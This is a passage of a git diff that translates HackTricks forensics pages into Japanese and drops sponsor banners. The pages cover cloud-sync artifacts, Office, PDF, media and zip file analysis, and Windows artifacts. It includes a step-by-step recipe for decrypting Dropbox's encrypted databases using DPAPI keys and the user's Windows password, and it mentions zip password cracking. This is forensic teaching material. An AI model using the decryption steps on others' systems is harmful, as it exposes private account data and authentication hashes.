You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +CIDを見つけたら、**このIDを含むファイルを検索することをお勧めします**。_**\.ini**_ や _**\.dat**_ という名前のファイルが見つかるかもしれません。これらのファイルには、OneDriveと同期されたファイルの名前などの興味深い情報が含まれている可能性があります。 ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Windowsでは、主要なGoogle Driveフォルダーは `\Users\\AppData\Local\Google\Drive\user_default` にあります。このフォルダーには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報を含む `Sync_log.log` というファイルがあります。削除されたファイルも、そのログファイルに対応するMD5と共に表示されます。 -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +**`Cloud_graph\Cloud_graph.db`** ファイルはsqliteデータベースで、**`cloud_graph_entry`** テーブルを含んでいます。このテーブルには、**同期された** **ファイル**の**名前**、修正時間、サイズ、ファイルのMD5チェックサムが含まれています。 -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +データベース **`Sync_config.db`** のテーブルデータには、アカウントのメールアドレス、共有フォルダーのパス、Google Driveのバージョンが含まれています。 ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropboxは**SQLiteデータベース**を使用してファイルを管理しています。この\ +データベースは以下のフォルダーにあります: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +主要なデータベースは次のとおりです: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +".dbx"拡張子は、**データベース**が**暗号化されている**ことを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Dropboxが使用している暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読むことができます。 -However, the main information is: +しかし、主な情報は次のとおりです: -- **Entropy**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E -- **Algorithm**: PBKDF2 -- **Iterations**: 1066 +- **エントロピー**: d114a55212655f74bd772e37e64aee9b +- **ソルト**: 0D638C092E8B82FC452883F95F355B8E +- **アルゴリズム**: PBKDF2 +- **イテレーション**: 1066 -Apart from that information, to decrypt the databases you still need: +その情報に加えて、データベースを復号化するには、次のものが必要です: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- **暗号化されたDPAPIキー**: レジストリ内の `NTUSER.DAT\Software\Dropbox\ks\client` で見つけることができます(このデータをバイナリとしてエクスポート) +- **`SYSTEM`** および **`SECURITY`** ハイブ +- **DPAPIマスタキー**: `\Users\\AppData\Roaming\Microsoft\Protect` にあります +- Windowsユーザーの**ユーザー名**と**パスワード** -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +その後、ツール [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**を使用できます:** ![](<../../../images/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +すべてが期待通りに進めば、ツールは**元のものを復元するために使用する必要がある主キー**を示します。元のものを復元するには、この[cyber_chefレシピ]()を使用し、主キーをレシピ内の「パスフレーズ」として入力します。 +得られた16進数は、データベースを暗号化するために使用される最終キーであり、次のように復号化できます: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +**`config.dbx`** データベースには以下が含まれています: -The **`config.dbx`** database contains: +- **Email**: ユーザーのメールアドレス +- **usernamedisplayname**: ユーザーの名前 +- **dropbox_path**: Dropboxフォルダーがあるパス +- **Host_id: Hash**: クラウドへの認証に使用されます。これはウェブからのみ取り消すことができます。 +- **Root_ns**: ユーザー識別子 -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +**`filecache.db`** データベースには、Dropboxと同期されたすべてのファイルとフォルダーに関する情報が含まれています。`File_journal` テーブルが最も有用な情報を持っています: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: サーバー内のファイルがあるパス(このパスはクライアントの `host_id` によって前置されます)。 +- **local_sjid**: ファイルのバージョン +- **local_mtime**: 修正日 +- **local_ctime**: 作成日 -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +このデータベース内の他のテーブルには、さらに興味深い情報が含まれています: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: Dropboxのすべてのファイルとフォルダーのハッシュ +- **block_ref**: `block_cache` テーブルのハッシュIDと `file_journal` テーブルのファイルIDを関連付けます +- **mount_table**: Dropboxの共有フォルダー +- **deleted_fields**: Dropboxで削除されたファイル - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 34433ce87..c234a407d 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -2,35 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+さらなる情報は[https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)を確認してください。これは要約です: -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoftは多くのオフィス文書フォーマットを作成しており、主に**OLEフォーマット**(RTF、DOC、XLS、PPTなど)と**Office Open XML (OOXML)フォーマット**(DOCX、XLSX、PPTXなど)の2種類があります。これらのフォーマットにはマクロが含まれることがあり、フィッシングやマルウェアの標的となります。OOXMLファイルはzipコンテナとして構造化されており、解凍することでファイルとフォルダの階層やXMLファイルの内容を確認できます。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +OOXMLファイル構造を探るための文書を解凍するコマンドと出力構造が示されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータ隠蔽の革新が続いていることを示しています。 -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +分析のために、**oletools**と**OfficeDissector**はOLEおよびOOXML文書を調査するための包括的なツールセットを提供します。これらのツールは、しばしばマルウェア配信のベクターとして機能する埋め込まれたマクロを特定し分析するのに役立ちます。VBAマクロの分析は、Libre Officeを利用することでMicrosoft Officeなしで行うことができ、ブレークポイントやウォッチ変数を使ってデバッグが可能です。 +**oletools**のインストールと使用は簡単で、pipを介してインストールし、文書からマクロを抽出するためのコマンドが提供されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または`Document_Open`のような関数によってトリガーされます。 ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 79799f2d8..18bf8b056 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# PDFファイル分析 {{#include ../../../banners/hacktricks-training.md}} -
+**詳細については、次を確認してください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +PDFフォーマットは、その複雑さとデータを隠す可能性で知られており、CTFフォレンジックチャレンジの焦点となっています。これは、圧縮または暗号化される可能性のあるバイナリオブジェクトとプレーンテキスト要素を組み合わせており、JavaScriptやFlashなどの言語でのスクリプトを含むことがあります。PDFの構造を理解するには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiのようなPDF専用エディタを使用できます。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +PDFの詳細な探索や操作には、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)のようなツールが利用可能です。PDF内の隠されたデータは以下に隠されている可能性があります: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- 見えないレイヤー +- AdobeによるXMPメタデータ形式 +- 増分生成 +- 背景と同じ色のテキスト +- 画像の背後にあるテキストや重なり合った画像 +- 表示されていないコメント -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +カスタムPDF分析には、[PeepDF](https://github.com/jesparza/peepdf)のようなPythonライブラリを使用して、特注のパーススクリプトを作成できます。さらに、PDFの隠されたデータストレージの可能性は非常に広範であり、NSAのPDFリスクと対策に関するガイドのようなリソースは、もはや元の場所にホストされていないものの、貴重な洞察を提供します。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%Bútmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)や、Ange Albertiniによる[PDFフォーマットのトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このテーマに関するさらなる読み物を提供します。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..b3080d4bd 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**PNGファイル**は、その**ロスレス圧縮**の特性から**CTFチャレンジ**で高く評価されており、隠れたデータを埋め込むのに理想的です。**Wireshark**のようなツールは、ネットワークパケット内のデータを解析することでPNGファイルを分析し、埋め込まれた情報や異常を明らかにします。 -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +PNGファイルの整合性をチェックし、破損を修復するために、**pngcheck**は重要なツールであり、PNGファイルを検証し診断するためのコマンドライン機能を提供します ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html))。ファイルが単純な修正を超えている場合、[OfficeRecoveryのPixRecovery](https://online.officerecovery.com/pixrecovery/)のようなオンラインサービスは、**破損したPNGの修復**のためのウェブベースのソリューションを提供し、CTF参加者のための重要なデータの回復を支援します。 -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +これらの戦略は、CTFにおける包括的なアプローチの重要性を強調しており、隠れたデータや失われたデータを発見し回復するために、分析ツールと修復技術の組み合わせを活用しています。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index a1e143cb0..6ff7185f9 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,29 +1,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+**音声および動画ファイルの操作**は、**CTFフォレンジックチャレンジ**の定番であり、**ステガノグラフィー**やメタデータ分析を利用して秘密のメッセージを隠したり明らかにしたりします。**[mediainfo](https://mediaarea.net/en/MediaInfo)**や**`exiftool`**などのツールは、ファイルのメタデータを検査し、コンテンツタイプを特定するために不可欠です。 -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +音声チャレンジでは、**[Audacity](http://www.audacityteam.org/)**が波形を表示し、音声にエンコードされたテキストを明らかにするために必要なスペクトログラムを分析するための主要なツールとして際立っています。**[Sonic Visualiser](http://www.sonicvisualiser.org/)**は、詳細なスペクトログラム分析に強く推奨されます。**Audacity**は、隠されたメッセージを検出するためにトラックを遅くしたり逆再生したりする音声操作を可能にします。**[Sox](http://sox.sourceforge.net/)**は、音声ファイルの変換と編集に優れたコマンドラインユーティリティです。 -{% embed url="https://academy.8ksec.io/" %} +**最下位ビット(LSB)**の操作は、音声および動画のステガノグラフィーで一般的な技術であり、メディアファイルの固定サイズのチャンクを利用してデータを目立たないように埋め込むことができます。**[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**は、**DTMFトーン**や**モールス信号**として隠されたメッセージをデコードするのに役立ちます。 -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +動画チャレンジは、音声と動画ストリームをバンドルするコンテナフォーマットを含むことがよくあります。**[FFmpeg](http://ffmpeg.org/)**は、これらのフォーマットを分析および操作するための定番であり、コンテンツのデマルチプレクシングや再生が可能です。開発者向けには、**[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**がFFmpegの機能をPythonに統合し、高度なスクリプト可能なインタラクションを提供します。 -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +これらのツールの配列は、CTFチャレンジで必要とされる多様性を強調しており、参加者は音声および動画ファイル内の隠されたデータを明らかにするために幅広い分析および操作技術を駆使しなければなりません。 -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. - -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. - -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. - -## References +## 参考文献 - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..2f868cff4 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**コマンドラインツール**は**zipファイル**の管理に不可欠で、診断、修復、及びzipファイルのクラッキングに役立ちます。以下は主なユーティリティです: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: zipファイルが解凍できない理由を明らかにします。 +- **`zipdetails -v`**: zipファイルフォーマットフィールドの詳細な分析を提供します。 +- **`zipinfo`**: zipファイルの内容を抽出せずにリストします。 +- **`zip -F input.zip --out output.zip`** および **`zip -FF input.zip --out output.zip`**: 壊れたzipファイルの修復を試みます。 +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zipパスワードのブルートフォースクラッキングツールで、約7文字までのパスワードに効果的です。 -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +[Zipファイルフォーマット仕様](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)は、zipファイルの構造と標準に関する包括的な詳細を提供します。 -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +パスワード保護されたzipファイルは**ファイル名やファイルサイズを暗号化しない**ことに注意することが重要です。これは、RARや7zファイルがこの情報を暗号化するのとは異なるセキュリティの欠陥です。さらに、古いZipCrypto方式で暗号化されたzipファイルは、圧縮ファイルの未暗号化コピーが利用可能な場合、**平文攻撃**に対して脆弱です。この攻撃は、既知の内容を利用してzipのパスワードをクラッキングします。この脆弱性は[HackThisの記事](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)で詳述され、[この学術論文](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf)でさらに説明されています。しかし、**AES-256**暗号化で保護されたzipファイルはこの平文攻撃に対して免疫があり、機密データのために安全な暗号化方法を選択する重要性を示しています。 ## References diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md index 08b2ede8c..a8faa3f3e 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -4,511 +4,492 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Generic Windows Artifacts ### Windows 10 Notifications -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +パス `\Users\\AppData\Local\Microsoft\Windows\Notifications` には、データベース `appdb.dat`(Windows アニバーサリー前)または `wpndatabase.db`(Windows アニバーサリー後)があります。 -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +この SQLite データベース内には、興味深いデータを含む可能性のあるすべての通知(XML 形式)の `Notification` テーブルがあります。 ### Timeline -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Timeline は、訪問したウェブページ、編集した文書、および実行したアプリケーションの **時系列履歴** を提供する Windows の機能です。 -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +データベースは、パス `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` にあります。このデータベースは、SQLite ツールまたはツール [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) を使用して開くことができ、**2 つのファイルを生成し、ツール** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **で開くことができます**。 ### ADS (Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +ダウンロードされたファイルには、**ADS Zone.Identifier** が含まれており、**どのように** intranet、internet などから **ダウンロードされたか** を示しています。一部のソフトウェア(ブラウザなど)は、ファイルがダウンロードされた **URL** など、さらに **多くの情報** を提供することがよくあります。 ## **File Backups** ### Recycle Bin -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +Vista/Win7/Win8/Win10 では、**Recycle Bin** はドライブのルートにあるフォルダー **`$Recycle.bin`** にあります(`C:\$Recycle.bin`)。\ +このフォルダー内でファイルが削除されると、2 つの特定のファイルが作成されます: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: ファイル情報(削除された日時) +- `$R{id}`: ファイルの内容 ![](<../../../images/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +これらのファイルがあれば、ツール [**Rifiuti**](https://github.com/abelcheung/rifiuti2) を使用して、削除されたファイルの元のアドレスと削除された日時を取得できます(Vista – Win10 には `rifiuti-vista.exe` を使用)。 ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### ボリュームシャドウコピー -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +シャドウコピーは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。これらは使用中であっても可能です。 -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +これらのバックアップは通常、ファイルシステムのルートから` \System Volume Information`にあり、名前は以下の画像に示されている**UID**で構成されています。 ![](<../../../images/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップから**ファイルを抽出**することができます。 ![](<../../../images/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、**バックアップしない**ファイルとキーが含まれています。 ![](<../../../images/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`には、`ボリュームシャドウコピー`に関する構成情報も含まれています。 -### Office AutoSaved Files +### Office自動保存ファイル -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Officeの自動保存ファイルは次の場所にあります: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## シェルアイテム -A shell item is an item that contains information about how to access another file. +シェルアイテムは、別のファイルにアクセスする方法に関する情報を含むアイテムです。 -### Recent Documents (LNK) +### 最近の文書 (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windowsは、ユーザーがファイルを**開く、使用する、または作成する**ときに、これらの**ショートカット**を**自動的に****作成**します: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +フォルダーが作成されると、フォルダーへのリンク、親フォルダーへのリンク、および祖父フォルダーへのリンクも作成されます。 -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +これらの自動的に作成されたリンクファイルは、**ファイル**か**フォルダー**か、**MAC** **タイム**、ファイルが保存されている**ボリューム情報**、および**ターゲットファイルのフォルダー**に関する情報を**含んでいます**。この情報は、ファイルが削除された場合にそれらを回復するのに役立ちます。 -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +また、リンクファイルの**作成日**は、元のファイルが**最初に**使用された**時間**であり、リンクファイルの**最終更新日**は、元のファイルが使用された**最後の時間**です。 -To inspect these files you can use 